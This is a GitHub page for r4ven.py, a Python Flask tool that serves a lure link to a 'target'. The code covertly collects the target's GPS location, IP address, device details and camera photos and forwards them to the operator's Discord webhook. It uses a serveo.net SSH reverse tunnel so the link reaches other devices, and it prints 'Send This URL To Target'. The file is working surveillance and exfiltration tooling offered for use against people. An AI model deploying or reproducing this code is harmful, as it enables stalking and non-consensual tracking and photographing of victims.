forked from spyboy-productions/r4ven
-
Notifications
You must be signed in to change notification settings - Fork 0
/
r4ven.py
executable file
·277 lines (231 loc) · 9.11 KB
/
r4ven.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
#!/usr/bin/env python3
import os
import sys
import subprocess
import threading
import logging
from flask import Flask, request, Response, send_from_directory
from utils import get_file_data, update_webhook
import time
import requests
import argparse
# Set up logging
log_file = "r4ven.log"
logging.basicConfig(filename=log_file, level=logging.INFO, format='%(asctime)s - %(message)s')
DISCORD_WEBHOOK_FILE_NAME = "dwebhook.js"
HTML_FILE_NAME = "index.html"
twitter_url = 'https://spyboy.in/twitter'
discord = 'https://spyboy.in/Discord'
website = 'https://spyboy.in/'
blog = 'https://spyboy.blog/'
github = 'https://github.com/spyboy-productions/r4ven'
VERSION = '1.1.4'
if sys.stdout.isatty():
R = '\033[31m' # Red
G = '\033[32m' # Green
C = '\033[36m' # Cyan
W = '\033[0m' # Reset
Y = '\033[33m' # Yellow
M = '\033[35m' # Magenta
B = '\033[34m' # Blue
else:
R = G = C = W = Y = M = B = ''
banner3 = r'''
Track info will be sent to your discord webhook
----
(\__/) ||
(•ㅅ•) ||
/ づ
'''
'''
_.:._
."\ | /".
.,__ "=.\:/.=" __,.
"=.`"=._ /^\ _.="`.="
".'.'."=.=.=.=.-,/ \,-.=.=.=.=".'.'."
`~.`.`.`.`.`.`. .'.'.'.'.'.'.~`
`~.`` ` `.`.\ /.'.' ' ''.~`
R4ven `=.-~~-._ ) ( _.-~~-.=`
`\ /`
( )
Y
__________ _________ _______________ _______
\______ \ / | \ \ / /\_ _____/ \ \
| _/ / | |\ Y / | __)_ / | \
| | \/ ^ /\ / | \/ | \
|____|_ /\____ | \___/ /_______ /\____|__ /
\/ |__| \/ \/
'''
banner = rf'''{G}
_.:._
."\ | /".
{R}.,__{W} "=.\:/.=" {R}__,.
{Y}"=.`"=._{W} /^\ {Y}_.="`.="
".'.'."{B}=.=.=.=.-,/ \,-{B}.=.=.=.=".{W}'.'."
`~.`.{M}`.`.`.`.`. .'.'.'.'.'.'{W}.~`
`~.`` {M}` `{W}.`.\ /.'{M}.' ' ''{W}.~`
{G}R4ven{W} `=.-~~-._ ) ( _.-~~-.=`
`\ /`
( )
Y
____________________________________________________________________________
{R}Track{W} {G}GPS location{W}, and {G}IP address{W}, and {G}capture photos{W} with {G}device details{W}.
____________________________________________________________________________
'''
app = Flask(__name__)
parser = argparse.ArgumentParser(
description="R4VEN - Track device location, and IP address, and capture a photo with device details.",
usage=f"{sys.argv[0]} [-t target] [-p port]"
)
parser.add_argument("-t", "--target", nargs="?", help="the target url to send the captured images to", default="http://localhost:8000/image")
parser.add_argument("-p", "--port", nargs="?", help="port to listen on", default=8000)
args = parser.parse_args()
def should_exclude_line(line):
# Add patterns of lines you want to exclude
exclude_patterns = [
"HTTP request"
]
return any(pattern in line for pattern in exclude_patterns)
def start_port_forwarding():
command = ["ssh", "-R", "80:localhost:8000", "serveo.net"]
logging.info("Starting port forwarding with command: %s", " ".join(command))
process = subprocess.Popen(command, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
url_printed = False
for line in process.stdout:
line = line.strip()
if line:
if "Forwarding HTTP traffic from" in line and not url_printed:
url = line.split(' ')[-1]
formatted_url_message = (
f"\n{M}[+] {C}Send This URL To Target: {G}{url}{W}\n {R}Don't close this window!{W}")
print(formatted_url_message)
logging.info(formatted_url_message)
url_printed = True
elif not should_exclude_line(line):
logging.info(line)
print(line)
for line in process.stderr:
line = line.strip()
if line:
if not should_exclude_line(line):
logging.error(line)
print(line)
@app.route("/", methods=["GET"])
def get_website():
html_data = ""
try:
html_data = get_file_data(HTML_FILE_NAME)
except FileNotFoundError:
pass
return Response(html_data, content_type="text/html")
@app.route("/dwebhook.js", methods=["GET"])
def get_webhook_js():
return send_from_directory(directory=os.getcwd(), path=DISCORD_WEBHOOK_FILE_NAME)
@app.route("/location_update", methods=["POST"])
def update_location():
data = request.json
discord_webhook = check_and_get_webhook_url(os.getcwd())
update_webhook(discord_webhook, data)
return "OK"
@app.route('/image', methods=['POST'])
def image():
i = request.files['image']
f = ('%s.jpeg' % time.strftime("%Y%m%d-%H%M%S"))
i.save('%s/%s' % (os.getcwd(), f))
#print(f"{B}[+] {C}Picture of the target captured and saved")
webhook_url = check_and_get_webhook_url(os.getcwd())
files = {'image': open(f'{os.getcwd()}/{f}', 'rb')}
response = requests.post(webhook_url, files=files)
return Response("%s saved and sent to Discord webhook" % f)
@app.route('/get_target', methods=['GET'])
def get_url():
return args.target
def get_user_choice():
print(f"\n{B}[~] {C}What would you like to do?{W}\n")
print(f"{Y}1. {W}Track Target GPS Location")
print(f"{Y}2. {W}Capture Target Image")
print(f"{Y}3. {W}Fetch Target IP Address")
print(f"{Y}4. {W}All Of It")
print(f"\n{M}Note: {W}IP address & Device details available in all the options")
choice = input(f"\n{B}[+] {Y}Enter the number corresponding to your choice: {W}")
return choice
def ask_port_forwarding():
print(f"\n{B}[~] {C}Do you want to use Serveo for port forwarding?{W}\n")
print(f"{Y}1. {W}Yes")
print(f"{Y}2. {W}No, I will use another method")
choice = input(f"\n{B}[+] {Y}Enter the number corresponding to your choice: {W}")
return choice
def check_and_get_webhook_url(folder_name):
file_path = os.path.join(folder_name, DISCORD_WEBHOOK_FILE_NAME)
def get_valid_webhook():
while True:
print(f'\n{B}[+] {C}Enter Discord Webhook URL:{W}')
dwebhook_input = input().strip()
if dwebhook_input.startswith("https://discord.com/api/webhooks/"):
with open(file_path, 'w') as file:
file.write(dwebhook_input)
return dwebhook_input
else:
print(f"{R}Invalid webhook. Please enter a valid Discord webhook URL.{W}")
if not os.path.exists(file_path):
return get_valid_webhook()
else:
with open(file_path, 'r') as file:
webhook_url = file.read().strip()
if webhook_url.startswith("https://discord.com/api/webhooks/"):
return webhook_url
else:
print(f"{R}Invalid webhook URL found in file. Please enter a valid Discord webhook URL.{W}")
return get_valid_webhook()
def run_flask(folder_name):
try:
os.chdir(folder_name)
except FileNotFoundError:
print(f"{R}Error: Folder '{folder_name}' does not exist.{W}")
sys.exit(1)
app.run(debug=False, host="0.0.0.0", port=args.port)
def print_banners():
"""
prints the program banners
"""
print(f'{R}{banner}{W}')
print(f'{G}[+] {C}Version : {W}{VERSION}')
print(f'{G}[+] {C}Created By : {W}Spyboy')
print(f'{G} ╰ {C}Twitter : {W}{twitter_url}')
print(f'{G} ╰ {C}Discord : {W}{discord}')
print(f'{G} ╰ {C}Website : {W}{website}')
print(f'{G} ╰ {C}Blog : {W}{blog}')
print(f'{G} ╰ {C}Github : {W}{github}\n')
log_file_path = os.path.abspath(log_file)
print(f"\n{B}[+] {Y}Logs are being saved in the file located at:{W} {log_file_path}")
print(f'{G}{banner3}{W}')
def main():
print_banners()
choice = get_user_choice()
if choice not in ['1', '2', '3', '4']:
print(f"{R}Invalid choice. Exiting.{W}")
sys.exit(1)
if choice == '1':
folder_name = 'gps'
elif choice == '2':
folder_name = 'cam'
elif choice == '3':
folder_name = 'ip'
elif choice == '4':
folder_name = 'all'
check_and_get_webhook_url(folder_name)
port_forwarding_choice = ask_port_forwarding()
if port_forwarding_choice == '1':
# Start port forwarding in a separate thread
port_forwarding_thread = threading.Thread(target=start_port_forwarding)
port_forwarding_thread.start()
else:
print(f"{R}Warning: {W}Port forwarding is necessary for the application to work on other devices. Make sure to set it up using another method.")
# Start the Flask server
#start_message = f"{G}[+] {C}Flask server started!{W}"
start_message = f"{G}[+] {C}Flask server started! Running on {W}http://127.0.0.1:{args.port}/\n {R}Press CTRL+C to quit{W}"
print(f"\n{start_message}\n")
logging.info(start_message)
run_flask(folder_name)
if __name__ == "__main__":
main()